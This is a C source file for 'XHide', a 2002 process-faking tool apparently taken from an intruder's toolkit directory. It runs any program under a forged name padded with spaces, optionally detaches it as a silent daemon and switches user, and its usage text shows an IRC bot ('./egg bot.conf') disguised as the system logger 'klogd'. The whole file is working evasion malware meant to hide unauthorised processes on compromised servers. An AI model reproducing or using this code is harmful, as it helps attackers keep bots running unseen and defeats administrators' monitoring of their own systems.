etc/Server/hiding/xhide.c

   1 #include <stdio.h>
   2 #include <unistd.h>
   3 #include <sys/stat.h>
   4 #include <sys/types.h>
   5 #include <string.h>
   6 #include <fcntl.h>
   7 #include <pwd.h>
   8 #include <grp.h>
   9
  10 void usage(char *progname);
  11
  12 int changeown (char *str)
  13 {
  14         char user[256], *group;
  15         struct passwd *pwd;
  16         struct group *grp;
  17
  18         uid_t uid;
  19         gid_t gid;
  20
  21         memset(user, '\0', sizeof(user));
  22         strncpy(user, str, sizeof(user));
  23
  24         for (group = user; *group; group++)
  25                 if (*group == ':')
  26                 {
  27                         *group = '\0';
  28                         group++;
  29                         break;
  30                 }
  31
  32         if (pwd = getpwnam(user))
  33         {
  34
  35                 uid = pwd->pw_uid;
  36                 gid = pwd->pw_gid;
  37         } else uid = (uid_t) atoi(user);
  38
  39         if (*group)
  40                 if (grp = getgrnam(group)) gid = grp->gr_gid;
  41                 else gid = (gid_t) atoi(group);
  42
  43         if (setgid(gid)) {
  44                 perror("Error: Can't set GID");
  45                 return 0;
  46         }
  47
  48         if (setuid(uid))
  49         {
  50                 perror("Error: Can't set UID");
  51                 return 0;
  52         }
  53
  54         return 1;
  55 }
  56
  57 char *fullpath(char *cmd)
  58 {
  59         char *p, *q, *filename;
  60         struct stat st;
  61
  62         if (*cmd == '/')
  63                 return cmd;
  64
  65         filename = (char *) malloc(256);
  66
  67         if  (*cmd == '.')
  68                 if (getcwd(filename, 255) != NULL)
  69                 {
  70                         strcat(filename, "/");
  71                         strcat(filename, cmd);
  72                         return filename;
  73                 }
  74                 else
  75                         return NULL;
  76
  77         for (p = q = (char *) getenv("PATH"); q != NULL; p = ++q)
  78         {
  79                 if (q = (char *) strchr(q, ':'))
  80                         *q = (char) '\0';
  81
  82                 snprintf(filename, 256, "%s/%s", p, cmd);
  83
  84                 if (stat(filename, &st) != -1
  85                                 && S_ISREG(st.st_mode)
  86                                 && (st.st_mode&S_IXUSR || st.st_mode&S_IXGRP || st.st_mode&S_IXOTH))
  87                         return filename;
  88
  89                 if (q == NULL)
  90                         break;
  91         }
  92
  93         free(filename);
  94
  95         return NULL;
  96
  97 }
  98
  99 void usage(char *progname)
 100 {
 101         fprintf(stderr, "XHide - Process Faker, by Schizoprenic "
 102                         "Xnuxer Research (c) 2002\n\nOptions:\n"
 103
 104                         "-s string\tFake name process\n"
 105                         "-d\t\tRun aplication as daemon/system (optional)\n"
 106                         "-u uid[:gid]\tChange UID/GID, use another user (optional)\n"
 107                         "-p filename\tSave PID to filename (optional)\n\n"
 108
 109                         "Example: %s -s \"klogd -m 0\" -d -p test.pid ./egg bot.conf\n\n",progname);
 110
 111         exit(1);
 112 }
 113
 114 int main(int argc,char **argv)
 115 {
 116         char c;
 117         char fake[256];
 118         char *progname, *fakename;
 119         char *pidfile, *fp;
 120         char *execst;
 121
 122         FILE *f;
 123
 124         int runsys=0, null;
 125         int j,i,n,pidnum;
 126         char **newargv;
 127
 128         progname = argv[0];
 129         if(argc<2) usage(progname);
 130
 131         for (i = 1; i < argc; i++)
 132         {
 133                 if (argv[i][0] == '-')
 134                         switch (c = argv[i][1])
 135                         {
 136
 137                                 case 's': fakename = argv[++i]; break;
 138                                 case 'u': changeown(argv[++i]); break;
 139                                 case 'p': pidfile = argv[++i]; break;
 140                                 case 'd': runsys = 1; break;
 141
 142                                 default:  usage(progname); break;
 143                         }
 144                 else break;
 145         }
 146
 147         if (!(n = argc - i) || fakename == NULL) usage(progname);
 148
 149         newargv = (char **) malloc(n * sizeof(char **) + 1);
 150         for (j = 0; j < n; i++,j++) newargv[j] = argv[i];
 151         newargv[j] = NULL;
 152
 153         if ((fp = fullpath(newargv[0])) == NULL) { perror("Full path seek"); exit(1); }
 154         execst = fp;
 155
 156         if (n > 1)
 157         {
 158                 memset(fake, ' ', sizeof(fake) - 1);
 159                 fake[sizeof(fake) - 1] = '\0';
 160                 strncpy(fake, fakename, strlen(fakename));
 161                 // Kent, this is the key point.. keke
 162                 newargv[0] = fake;
 163                 /*for (int i = 1; i < n; i++) newargv[i] = "";*/
 164         }
 165         else newargv[0] = fakename;
 166
 167         if (runsys)
 168         {
 169                 if ((null = open("/dev/null", O_RDWR)) == -1)
 170                 {
 171                         perror("Error: /dev/null");
 172                         return -1;
 173                 }
 174
 175                 switch (fork())
 176                 {
 177                         case -1:
 178                                 perror("Error: FORK-1");
 179                                 return -1;
 180
 181                         case  0:
 182                                 setsid();
 183                                 switch (fork())
 184                                 {
 185
 186                                         case -1:
 187                                                 perror("Error: FORK-2");
 188                                                 return -1;
 189
 190                                         case  0:
 191                                                 umask(0);
 192                                                 close(0);
 193                                                 close(1);
 194                                                 close(2);
 195                                                 dup2(null, 0);
 196                                                 dup2(null, 1);
 197                                                 dup2(null, 2);
 198
 199                                                 break;
 200
 201                                         default:
 202                                                 return 0;
 203                                 }
 204                                 break;
 205                         default:
 206                                 return 0;
 207                 }
 208         }
 209
 210         waitpid(-1, (int *)0, 0);
 211         pidnum = getpid();
 212
 213         if (pidfile != NULL && (f = fopen(pidfile, "w")) != NULL)
 214         {
 215                 fprintf(f, "%d\n", pidnum);
 216                 fclose(f);
 217         }
 218
 219         fprintf(stderr,"==> Fakename: %s PidNum: %d\n",fakename,pidnum);
 220         execv(execst, newargv);
 221         perror("Couldn't execute");
 222         return -1;
 223 }